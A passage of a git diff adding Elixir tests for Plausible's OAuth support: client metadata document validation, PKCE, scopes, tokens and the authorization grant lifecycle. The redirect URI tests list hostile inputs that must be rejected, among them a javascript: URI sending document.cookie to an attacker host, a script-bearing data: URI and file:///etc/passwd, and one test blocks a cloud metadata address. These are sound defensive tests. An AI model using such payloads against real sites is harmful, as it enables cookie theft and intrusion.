+ assert :ok = CIMD.validate_document(doc, @client_id)
+ end
+
+ test "returns the first rule the document fails" do
+ doc = %{"client_id" => @client_id, "redirect_uris" => [@redirect_uri]}
+
+ assert {:error, :client_id_mismatch} =
+ CIMD.validate_document(doc, "https://client.example.com/other")
+
+ assert {:error, :missing_redirect_uris} =
+ CIMD.validate_document(Map.delete(doc, "redirect_uris"), @client_id)
+
+ assert {:error, :invalid_redirect_uris} =
+ CIMD.validate_document(%{doc | "redirect_uris" => ["javascript:x"]}, @client_id)
+
+ assert {:error, :invalid_client_name} =
+ CIMD.validate_document(Map.put(doc, "client_name", ""), @client_id)
+ end
+ end
+
+ describe "validate_self_reference/2" do
+ test "requires the document to name the URL it came from" do
+ assert :ok = CIMD.validate_self_reference(%{"client_id" => @client_id}, @client_id)
+
+ assert {:error, :client_id_mismatch} =
+ CIMD.validate_self_reference(
+ %{"client_id" => "https://evil.example/meta"},
+ @client_id
+ )
+
+ assert {:error, :client_id_mismatch} = CIMD.validate_self_reference(%{}, @client_id)
+ end
+ end
+
+ describe "validate_redirect_uris/1" do
+ test "accepts `https` scheme uris and `http` scheme uris when they are loopback hosts" do
+ for uri <- [
+ @redirect_uri,
+ "http://127.0.0.1:1234/callback",
+ "http://localhost/callback",
+ "http://[::1]:8080/callback"
+ ] do
+ assert :ok = CIMD.validate_redirect_uris([uri])
+ end
+ end
+
+ test "enforces max length" do
+ base = "https://client.example.com/"
+ max = String.duplicate("a", 2048 - String.length(base))
+ over_max = String.duplicate("a", 2048 + 1 - String.length(base))
+ assert :ok = CIMD.validate_redirect_uris([base <> max])
+ assert {:error, :invalid_redirect_uris} = CIMD.validate_redirect_uris([base <> over_max])
+ end
+
+ test "requires a non-empty list" do
+ for redirect_uris <- [nil, [], @redirect_uri, 42] do
+ assert {:error, :missing_redirect_uris} = CIMD.validate_redirect_uris(redirect_uris)
+ end
+ end
+
+ test "rejects entries that are not usable targets" do
+ for uri <- [
+ "javascript:fetch('https://attacker.example.com/'+document.cookie)",
+ "data:text/html,<script>alert(1)</script>",
+ "vbscript:msgbox",
+ "com.example.app:/oauth2redirect",
+ "file:///etc/passwd",
+ "http://client.example.com/callback",
+ "https://user:[email protected]/callback",
+ "https://client.example.com/callback#frag",
+ "/callback",
+ "",
+ 42
+ ] do
+ assert {:error, :invalid_redirect_uris} = CIMD.validate_redirect_uris([uri])
+ end
+ end
+
+ test "rejects a redirect_uri that already carries a response parameter" do
+ assert {:error, _} =
+ Plausible.OAuth.CIMD.validate_redirect_uris([
+ "https://client.example.com/callback?code=ATTACKER"
+ ])
+ end
+
+ test "rejects every response parameter name, and keeps an unrelated query" do
+ for name <- ~w(code state error error_description iss) do
+ assert {:error, :invalid_redirect_uris} =
+ CIMD.validate_redirect_uris(["https://client.example.com/callback?#{name}=x"])
+ end
+
+ assert :ok =
+ CIMD.validate_redirect_uris(["https://client.example.com/callback?tenant=acme"])
+ end
+
+ test "rejects the whole list when any one entry is unusable" do
+ assert {:error, :invalid_redirect_uris} =
+ CIMD.validate_redirect_uris([@redirect_uri, "javascript:alert(1)"])
+ end
+ end
+
+ describe "validate_client_name/1" do
+ test "accepts an absent name, non-ASCII text, right to left names, and internal spaces" do
+ for name <- [
+ nil,
+ "Claude Code",
+ "Café Auswärts",
+ # "analysis client" in Japanese
+ "分析クライアント",
+ # "analysis app 100" in Arabic (RTL)
+ "تطبيق تحليل 100",
+ String.duplicate("N", 255)
+ ] do
+ assert :ok = CIMD.validate_client_name(name)
+ end
+ end
+
+ test "rejects a blank, over-long or non-string name" do
+ for name <- [42, %{"en" => "Client"}, "", " ", "\t\n", String.duplicate("N", 256)] do
+ assert {:error, :invalid_client_name} = CIMD.validate_client_name(name)
+ end
+ end
+
+ test "rejects a name carrying control or bidi characters" do
+ for name <- [
+ "Claude\u0000 Code",
+ "Claude\nCode",
+ "Claude\u007FCode",
+ "Claude\u009BCode",
+ "Claude\u202ACode",
+ "Claude\u202ECode",
+ "Claude\u2066Code",
+ "Claude\u2069Code"
+ ] do
+ assert {:error, :invalid_client_name} = CIMD.validate_client_name(name)
+ end
+ end
+ end
+
+ describe "redirect_uri_registered?/2" do
+ test "requires an exact match for non-loopback URIs" do
+ assert CIMD.redirect_uri_registered?(@redirect_uri, [@redirect_uri])
+
+ for requested <- ["https://client.example.com/other", @redirect_uri <> "?x=1", nil] do
+ refute CIMD.redirect_uri_registered?(requested, [@redirect_uri])
+ end
+ end
+
+ for loopback <- ["127.0.0.1", "[::1]", "localhost", "LOCALHOST"] do
+ test "allows port mismatch for loopback URIs with #{loopback}" do
+ assert CIMD.redirect_uri_registered?("http://#{unquote(loopback)}:4000/callback", [
+ "http://#{unquote(loopback)}:1000/callback"
+ ])
+ end
+
+ test "allows undeclared port for loopback URIs with #{loopback}" do
+ assert CIMD.redirect_uri_registered?("http://#{unquote(loopback)}:4000/callback", [
+ "http://#{unquote(loopback)}/callback"
+ ])
+ end
+ end
+
+ test "requires an exact match on every loopback component but the port" do
+ registered = ["http://127.0.0.1:1234/callback?a=1"]
+
+ assert CIMD.redirect_uri_registered?("http://127.0.0.1:9999/callback?a=1", registered)
+
+ for requested <- [
+ "http://127.0.0.1:9999/other?a=1",
+ "http://127.0.0.1:9999/callback?a=2",
+ "http://127.0.0.1:9999/callback",
+ "http://127.0.0.1:9999/callback?a=1#frag",
+ "http://[email protected]:9999/callback?a=1",
+ "https://127.0.0.1:9999/callback?a=1",
+ "http://localhost:9999/callback?a=1"
+ ] do
+ refute CIMD.redirect_uri_registered?(requested, registered)
+ end
+ end
+
+ test "ignores capitalisation of the scheme and host" do
+ assert CIMD.redirect_uri_registered?("HTTP://LOCALHOST:1/callback", [
+ "http://localhost:2/callback"
+ ])
+
+ assert CIMD.redirect_uri_registered?("http://localhost:1/callback", [
+ "http://LOCALHOST:2/callback"
+ ])
+ end
+
+ test "does not ignore capitalisation of the path" do
+ refute CIMD.redirect_uri_registered?("http://localhost:1/CALLBACK", [
+ "http://localhost:2/callback"
+ ])
+ end
+
+ test "port must match for https scheme URIs" do
+ refute CIMD.redirect_uri_registered?("https://client.example.com:443/callback", [
+ "https://client.example.com/callback"
+ ])
+ end
+ end
+
+ describe "fetch/1" do
+ setup do
+ stub_dns()
+ :ok
+ end
+
+ defp stub_metadata(doc) when is_map(doc), do: stub_body(JSON.encode!(doc))
+
+ defp stub_body(body, status \\ 200) do
+ Req.Test.stub(Plausible.OAuth.CIMD, fn conn ->
+ Plug.Conn.send_resp(conn, status, body)
+ end)
+ end
+
+ test "returns the document it fetched, verbatim" do
+ doc = %{"client_id" => @client_id, "redirect_uris" => [@redirect_uri]}
+ stub_metadata(doc)
+
+ assert {:ok, ^doc} = CIMD.fetch(@client_id)
+ end
+
+ test "fetches the document from the client_id URL, pinning the Host header" do
+ Req.Test.stub(Plausible.OAuth.CIMD, fn conn ->
+ assert {"host", "client.example.com"} in conn.req_headers
+ assert conn.request_path == "/oauth-metadata"
+
+ Plug.Conn.send_resp(
+ conn,
+ 200,
+ JSON.encode!(%{"client_id" => @client_id, "redirect_uris" => [@redirect_uri]})
+ )
+ end)
+
+ assert {:ok, _doc} = CIMD.fetch(@client_id)
+ end
+
+ test "refuses an unusable client_id without resolving or fetching it" do
+ expect_no_dns_lookup()
+ Req.Test.stub(Plausible.OAuth.CIMD, fn _conn -> raise "should never be called" end)
+
+ assert {:error, :client_id_not_https} = CIMD.fetch("http://client.example.com/meta")
+
+ assert {:error, :invalid_client_id} =
+ CIMD.fetch("https://[email protected]/meta")
+
+ assert {:error, :client_id_too_long} = CIMD.fetch(@client_id <> String.duplicate("a", 2048))
+ end
+
+ test "refuses a document that does not validate against the URL it came from" do
+ stub_metadata(%{
+ "client_id" => "https://attacker.example.com/meta",
+ "redirect_uris" => [@redirect_uri]
+ })
+
+ assert {:error, :client_id_mismatch} = CIMD.fetch(@client_id)
+ end
+
+ test "rejects a response that is not a JSON object" do
+ stub_body("not json")
+ assert {:error, :invalid_client_metadata} = CIMD.fetch(@client_id)
+
+ stub_body("[]")
+ assert {:error, :invalid_client_metadata} = CIMD.fetch(@client_id)
+ end
+
+ test "rejects a non-200 response" do
+ stub_body("", 404)
+ assert {:error, :client_metadata_unavailable} = CIMD.fetch(@client_id)
+ end
+
+ test "refuses to buffer an oversized document" do
+ stub_body(String.duplicate("a", 1_000_001))
+ assert {:error, :client_metadata_too_large} = CIMD.fetch(@client_id)
+ end
+
+ test "propagates a DNS resolution failure" do
+ stub_dns(%{"client.example.com" => {[], []}})
+ assert {:error, :dns_resolution_failed} = CIMD.fetch(@client_id)
+ end
+
+ test "refuses a client_id resolving to a restricted address, without fetching it" do
+ stub_dns(%{"client.example.com" => {[{169, 254, 169, 254}], []}})
+ Req.Test.stub(Plausible.OAuth.CIMD, fn _conn -> raise "should never be called" end)
+
+ assert {:error, :restricted_address} = CIMD.fetch(@client_id)
+ end
+ end
+end
diff --git a/test/plausible/oauth/pkce_test.exs b/test/plausible/oauth/pkce_test.exs
new file mode 100644
index 0000000000..a38f5f7969
--- /dev/null
+++ b/test/plausible/oauth/pkce_test.exs
@@ -0,0 +1,56 @@
+defmodule Plausible.OAuth.PKCETest do
+ use ExUnit.Case, async: true
+
+ alias Plausible.OAuth.PKCE
+
+ defp challenge_for(verifier),
+ do: :crypto.hash(:sha256, verifier) |> Base.url_encode64(padding: false)
+
+ describe "verify/3" do
+ test "accepts the worked example from RFC 7636 appendix B" do
+ verifier = "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk"
+ challenge = "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM"
+
+ assert :ok = PKCE.verify(challenge, verifier, "S256")
+ end
+
+ test "accepts a matching S256 verifier" do
+ verifier = :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false)
+
+ assert :ok = PKCE.verify(challenge_for(verifier), verifier, "S256")
+ end
+
+ test "rejects a mismatched verifier" do
+ verifier = :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false)
+
+ assert {:error, :invalid_grant} =
+ PKCE.verify(challenge_for(verifier), "mismatched-verifier", "S256")
+ end
+
+ test "rejects the plain method even when the values match" do
+ assert {:error, :invalid_grant} = PKCE.verify("abc", "abc", "plain")
+ end
+
+ test "rejects a missing verifier" do
+ verifier = :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false)
+
+ assert {:error, :invalid_grant} = PKCE.verify(challenge_for(verifier), nil, "S256")
+ end
+
+ test "accepts a verifier at both length bounds (RFC 7636 section 4.1)" do
+ for length <- [43, 128] do
+ verifier = String.duplicate("a", length)
+ assert :ok = PKCE.verify(challenge_for(verifier), verifier, "S256")
+ end
+ end
+
+ test "rejects a verifier outside the length bounds even though it hashes to the challenge" do
+ for length <- [0, 42, 129] do
+ verifier = String.duplicate("a", length)
+
+ assert {:error, :invalid_grant} =
+ PKCE.verify(challenge_for(verifier), verifier, "S256")
+ end
+ end
+ end
+end
diff --git a/test/plausible/oauth/protected_resources_test.exs b/test/plausible/oauth/protected_resources_test.exs
new file mode 100644
index 0000000000..267daa1440
--- /dev/null
+++ b/test/plausible/oauth/protected_resources_test.exs
@@ -0,0 +1,76 @@
+defmodule Plausible.OAuth.ProtectedResourcesTest do
+ use ExUnit.Case, async: true
+
+ alias Plausible.Auth.Scopes
+ alias Plausible.OAuth.ProtectedResources
+
+ @mcp ProtectedResources.mcp()
+
+ describe "get_by_url/1" do
+ test "does not resolve inexact resource URL" do
+ inexact_url = ProtectedResources.get_resource_url(@mcp) <> "/"
+
+ assert {:error, :not_found} =
+ ProtectedResources.get_by_url(inexact_url)
+ end
+
+ test "resolves a known resource" do
+ url = ProtectedResources.get_resource_url(@mcp)
+
+ assert {:ok, @mcp} =
+ ProtectedResources.get_by_url(url)
+ end
+ end
+
+ describe "normalize_requested_scopes/2" do
+ test "defaults to the resource's own scopes when nil" do
+ supported = @mcp.scopes_supported
+ assert {:ok, ^supported} = ProtectedResources.normalize_requested_scopes(nil, @mcp)
+ end
+
+ test "defaults to the resource's own scopes when empty" do
+ supported = @mcp.scopes_supported
+ assert {:ok, ^supported} = ProtectedResources.normalize_requested_scopes("", @mcp)
+ end
+
+ test "returns requested scopes in the resource's order" do
+ resource = %{
+ resource_path: "/foobar",
+ scopes_supported: [Scopes.sites_read(), Scopes.stats_read()]
+ }
+
+ requested = "#{Scopes.stats_read()} #{Scopes.sites_read()}"
+
+ assert {:ok, [Scopes.sites_read(), Scopes.stats_read()]} ==
+ ProtectedResources.normalize_requested_scopes(requested, resource)
+ end
+ end
+
+ describe "normalize_granted_scopes/2" do
+ test "rejects empty scopes" do
+ assert {:error, :invalid_scope} =
+ ProtectedResources.normalize_granted_scopes([], @mcp)
+ end
+
+ test "rejects when any scope is unsupported" do
+ assert {:error, :invalid_scope} =
+ ProtectedResources.normalize_granted_scopes(
+ [Scopes.sites_read(), "admin:write"],
+ @mcp
+ )
+ end
+
+ test "returns granted scopes in the resource's order" do
+ resource = %{
+ resource_path: "/foobar",
+ scopes_supported: [Scopes.sites_read(), Scopes.stats_read()]
+ }
+
+ assert {:ok, [Scopes.sites_read(), Scopes.stats_read()]} ==
+ ProtectedResources.normalize_granted_scopes(
+ [Scopes.stats_read(), Scopes.sites_read()],
+ resource
+ )
+ end
+ end
+end
diff --git a/test/plausible/oauth/token_test.exs b/test/plausible/oauth/token_test.exs
new file mode 100644
index 0000000000..7b5fe75e60
--- /dev/null
+++ b/test/plausible/oauth/token_test.exs
@@ -0,0 +1,56 @@
+defmodule Plausible.OAuth.TokenTest do
+ use ExUnit.Case, async: false
+ use Plausible.TestUtils
+
+ import Plausible.AssertMatches
+
+ alias Plausible.OAuth.Token
+
+ describe "generate/1" do
+ test "returns a prefixed raw value with its hash and displayable hint" do
+ token = Token.generate(:access)
+
+ assert_matches ^strict_map(%{
+ raw:
+ ^any(
+ :string,
+ &String.starts_with?(&1, Token.plaintext_prefix(:access) <> "-")
+ ),
+ hash: ^Token.hash(token.raw),
+ hint: ^any(:string)
+ }) = token
+ end
+
+ test "hints at the tail of the raw value, past the constant prefix" do
+ token = Token.generate(:access)
+
+ assert byte_size(token.hint) == 4
+ assert String.ends_with?(token.raw, token.hint)
+ end
+
+ test "returns a different value every time" do
+ refute Token.generate(:access).raw == Token.generate(:access).raw
+ end
+ end
+
+ describe "prefix/1" do
+ @tag :ee_only
+ test "identifies the kind of value" do
+ patch_env(:environment, "prod")
+
+ assert Token.plaintext_prefix(:access) == "plausible-oauth-at"
+ assert Token.plaintext_prefix(:refresh) == "plausible-oauth-rt"
+ assert Token.plaintext_prefix(:code) == "plausible-oauth-ac"
+ end
+
+ @tag :ee_only
+ test "spells out the environment outside prod" do
+ assert Token.plaintext_prefix(:access) == "plausible-oauth-at-test"
+ end
+
+ @tag :ce_build_only
+ test "marks self-hosted builds" do
+ assert Token.plaintext_prefix(:access) == "plausible-oauth-at-selfhost"
+ end
+ end
+end
diff --git a/test/plausible/oauth_test.exs b/test/plausible/oauth_test.exs
new file mode 100644
index 0000000000..116106e611
--- /dev/null
+++ b/test/plausible/oauth_test.exs
@@ -0,0 +1,410 @@
+defmodule Plausible.OAuthTest do
+ @moduledoc """
+ Covers OAuth grant lifecycle.
+
+ - `Step 1: create_authorization_code/3` issues a single-use code bound to a user,
+ team, scopes and resource
+ - `Step 2: consume_authorization_code/2` redeems that code, exactly once
+ - `Step 3: issue_token/1 and find_access_token/2`: opens a grant from the redeemed code, returns token AND resolves an access token back to its grant
+ """
+
+ use Plausible.DataCase
+ use Plausible.Test.Support.DNS
+
+ alias Plausible.OAuth
+ alias Plausible.OAuth.{AuthorizationCode, Grant, ProtectedResources, Token}
+
+ @client_id "https://client.example.com/oauth-metadata"
+ @redirect_uri "https://client.example.com/callback"
+
+ setup do
+ user = new_user()
+ {:ok, team} = Plausible.Teams.get_or_create(user)
+ {:ok, user: user, team: team}
+ end
+
+ describe "Step 1: create_authorization_code/3" do
+ test "refuses a resource this server does not know", %{user: user, team: team} do
+ {_verifier, challenge} = pkce()
+
+ for resource <- ["https://elsewhere.example.com/mcp", nil] do
+ assert {:error, :invalid_target} =
+ create_code(user, team, challenge, %{resource: resource})
+ end
+
+ assert Plausible.Repo.aggregate(AuthorizationCode, :count) == 0
+ end
+
+ test "refuses a scope set this server cannot grant", %{user: user, team: team} do
+ {_verifier, challenge} = pkce()
+
+ for scopes <- [
+ ["sites:read:*", "admin:write"],
+ nil,
+ [],
+ "",
+ Enum.join(supported_scopes(), " ")
+ ] do
+ assert {:error, :invalid_scope} = create_code(user, team, challenge, %{scopes: scopes})
+ end
+
+ assert Plausible.Repo.aggregate(AuthorizationCode, :count) == 0
+ end
+
+ test "stores a code bound to the user, team, scopes and resource", %{user: user, team: team} do
+ {_verifier, challenge} = pkce()
+
+ assert {:ok, raw_code} = create_code(user, team, challenge)
+
+ stored = Plausible.Repo.one!(AuthorizationCode)
+
+ assert_matches %AuthorizationCode{
+ code_hash: ^Token.hash(raw_code),
+ client_id: ^@client_id,
+ redirect_uri: ^@redirect_uri,
+ code_challenge: ^challenge,
+ code_challenge_method: "S256",
+ scopes: ^supported_scopes(),
+ resource: ^resource(),
+ user_id: ^user.id,
+ team_id: ^team.id
+ } = stored
+
+ assert NaiveDateTime.compare(stored.expires_at, NaiveDateTime.utc_now()) == :gt
+ end
+ end
+
+ describe "Step 2: consume_authorization_code/2" do
+ test "rejects an unknown code" do
+ assert {:error, :invalid_grant} =
+ OAuth.consume_authorization_code("nope", %{
+ verifier: "v",
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+ end
+
+ test "rejects when the presented values don't match the code", %{user: user, team: team} do
+ for override <- [
+ %{client_id: "https://other.example.com/oauth-metadata"},
+ %{client_id: nil},
+ %{redirect_uri: "https://client.example.com/other"},
+ %{resource: "https://elsewhere.example.com/mcp"}
+ ] do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ presented =
+ Map.merge(
+ %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ },
+ override
+ )
+
+ assert {:error, :invalid_grant} = OAuth.consume_authorization_code(code, presented)
+ end
+ end
+
+ test "rejects an expired code", %{user: user, team: team} do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ Plausible.Repo.update_all(
+ from(c in AuthorizationCode, where: c.code_hash == ^Token.hash(code)),
+ set: [expires_at: past()]
+ )
+
+ assert {:error, :invalid_grant} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+ end
+
+ test "rejects a code whose user has since left the team", %{user: user, team: team} do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ Plausible.Repo.delete_all(
+ from(tm in Plausible.Teams.Membership,
+ where: tm.user_id == ^user.id and tm.team_id == ^team.id
+ )
+ )
+
+ assert {:error, :invalid_grant} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+ end
+
+ test "rejects a code whose user has since been downgraded to guest" do
+ owner = new_user()
+ {:ok, team} = Plausible.Teams.get_or_create(owner)
+ member = add_member(team, role: :editor)
+
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(member, team, challenge)
+
+ Plausible.Teams.Membership
+ |> Repo.get_by!(team_id: team.id, user_id: member.id)
+ |> Ecto.Changeset.change(role: :guest)
+ |> Repo.update!()
+
+ assert {:error, :invalid_grant} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+ end
+
+ test "returns the code and binds user, team and scopes", %{user: user, team: team} do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ assert {:ok, consumed_code} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+
+ assert_matches %AuthorizationCode{
+ user_id: ^user.id,
+ team_id: ^team.id,
+ scopes: ^supported_scopes(),
+ client_id: ^@client_id
+ } = consumed_code
+ end
+
+ test "burns the code on successful consume, it can't be consumed twice", %{
+ user: user,
+ team: team
+ } do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ assert {:ok, _consumed_code} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+
+ assert {:error, :invalid_grant} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+ end
+
+ test "burns the code even when validation fails, can't guess verifier", %{
+ user: user,
+ team: team
+ } do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ assert {:error, :invalid_grant} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: "wrong-verifier",
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+
+ assert {:error, :invalid_grant} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+ end
+ end
+
+ describe "Step 3: issue_token/1 and find_access_token/2" do
+ test "rejects an unknown token" do
+ assert {:error, :invalid_token} = OAuth.find_access_token("made-up", mcp())
+ end
+
+ test "rejects a live token presented to a resource it was not issued for", %{
+ user: user,
+ team: team
+ } do
+ {_grant, access_token} = issue_grant(user, team)
+
+ assert {:error, :invalid_token} =
+ OAuth.find_access_token(access_token, %{
+ resource_path: "/elsewhere",
+ scopes_supported: []
+ })
+
+ # Verify that the token works for the correct resource.
+ assert {:ok, _grant} = OAuth.find_access_token(access_token, mcp())
+ end
+
+ test "rejects an expired token", %{user: user, team: team} do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ {:ok, consumed_code} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+
+ {:ok, response} = OAuth.issue_token(consumed_code)
+
+ Plausible.Repo.update_all(
+ from(g in Grant, where: g.access_token_hash == ^Token.hash(response.access_token)),
+ set: [access_token_expires_at: past(), refresh_token_expires_at: past()]
+ )
+
+ assert {:error, :invalid_token} = OAuth.find_access_token(response.access_token, mcp())
+ end
+
+ test "issues a bearer token resolving to the code's user, team and scopes", %{
+ user: user,
+ team: team
+ } do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge, %{scopes: ["sites:read:*"]})
+
+ {:ok, consumed_code} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+
+ assert {:ok, response} = OAuth.issue_token(consumed_code)
+
+ assert_matches ^strict_map(%{
+ access_token: ^any(:string),
+ refresh_token: ^any(:string),
+ token_type: "Bearer",
+ expires_in: ^OAuth.access_token_ttl_seconds(),
+ scope: "sites:read:*"
+ }) = response
+
+ assert {:ok, token} = OAuth.find_access_token(response.access_token, mcp())
+
+ resource = resource()
+
+ assert_matches %Grant{
+ user: %{id: ^user.id},
+ team: %{id: ^team.id},
+ scopes: ["sites:read:*"],
+ resource: ^resource
+ } = token
+ end
+
+ test "does not persist the raw token", %{user: user, team: team} do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge)
+
+ {:ok, consumed_code} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+
+ {:ok, response} = OAuth.issue_token(consumed_code)
+
+ stored =
+ Plausible.Repo.one!(
+ from g in Grant, where: g.access_token_hash == ^Token.hash(response.access_token)
+ )
+
+ assert_matches %Grant{
+ access_token_hash: ^Token.hash(response.access_token),
+ access_token_hint: ^String.slice(response.access_token, -4, 4)
+ } = stored
+ end
+
+ test "an access token stops resolving once the user leaves the team" do
+ owner = new_user()
+ {:ok, team} = Plausible.Teams.get_or_create(owner)
+ member = add_member(team, role: :editor)
+
+ {_grant, access_token} = issue_grant(member, team)
+ assert {:ok, _} = OAuth.find_access_token(access_token, mcp())
+
+ Plausible.Teams.Membership
+ |> Repo.get_by!(team_id: team.id, user_id: member.id)
+ |> Repo.delete!()
+
+ assert {:error, :invalid_token} = OAuth.find_access_token(access_token, mcp())
+ end
+ end
+
+ defp pkce do
+ verifier = :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false)
+ challenge = :crypto.hash(:sha256, verifier) |> Base.url_encode64(padding: false)
+ {verifier, challenge}
+ end
+
+ defp resource(), do: ProtectedResources.get_resource_url(mcp())
+
+ defp mcp(), do: ProtectedResources.mcp()
+
+ defp supported_scopes(), do: mcp().scopes_supported
+
+ defp create_code(user, team, challenge, overrides \\ %{}) do
+ attrs =
+ Map.merge(
+ %{
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ code_challenge: challenge,
+ code_challenge_method: "S256",
+ scopes: supported_scopes(),
+ resource: resource()
+ },
+ overrides
+ )
+
+ OAuth.create_authorization_code(user, team, attrs)
+ end
+
+ defp past, do: NaiveDateTime.add(NaiveDateTime.utc_now(:second), -1, :second)
+
+ defp issue_grant(user, team, overrides \\ %{}) do
+ {verifier, challenge} = pkce()
+ {:ok, code} = create_code(user, team, challenge, overrides)
+
+ {:ok, consumed_code} =
+ OAuth.consume_authorization_code(code, %{
+ verifier: verifier,
+ client_id: @client_id,
+ redirect_uri: @redirect_uri,
+ resource: resource()
+ })
+
+ {:ok, response} = OAuth.issue_token(consumed_code)
+ {:ok, grant} = OAuth.find_access_token(response.access_token, mcp())
+
+ {grant, response.access_token}
+ end
+end
diff --git a/test/plausible_web/controllers/oauth/metadata_controller_test.exs b/test/plausible_web/controllers/oauth/metadata_controller_test.exs
index 5081bcdf70..909e5cf914 100644
--- a/test/plausible_web/controllers/oauth/metadata_controller_test.exs
+++ b/test/plausible_web/controllers/oauth/metadata_controller_test.exs
@@ -15,7 +15,6 @@ defmodule PlausibleWeb.OAuth.MetadataControllerTest do
"grant_types_supported" => ["authorization_code"],
"code_challenge_methods_supported" => ["S256"],
"token_endpoint_auth_methods_supported" => ["none"],
- "scopes_supported" => ["sites:read:*"],
"client_id_metadata_document_supported" => true
}) = resp
end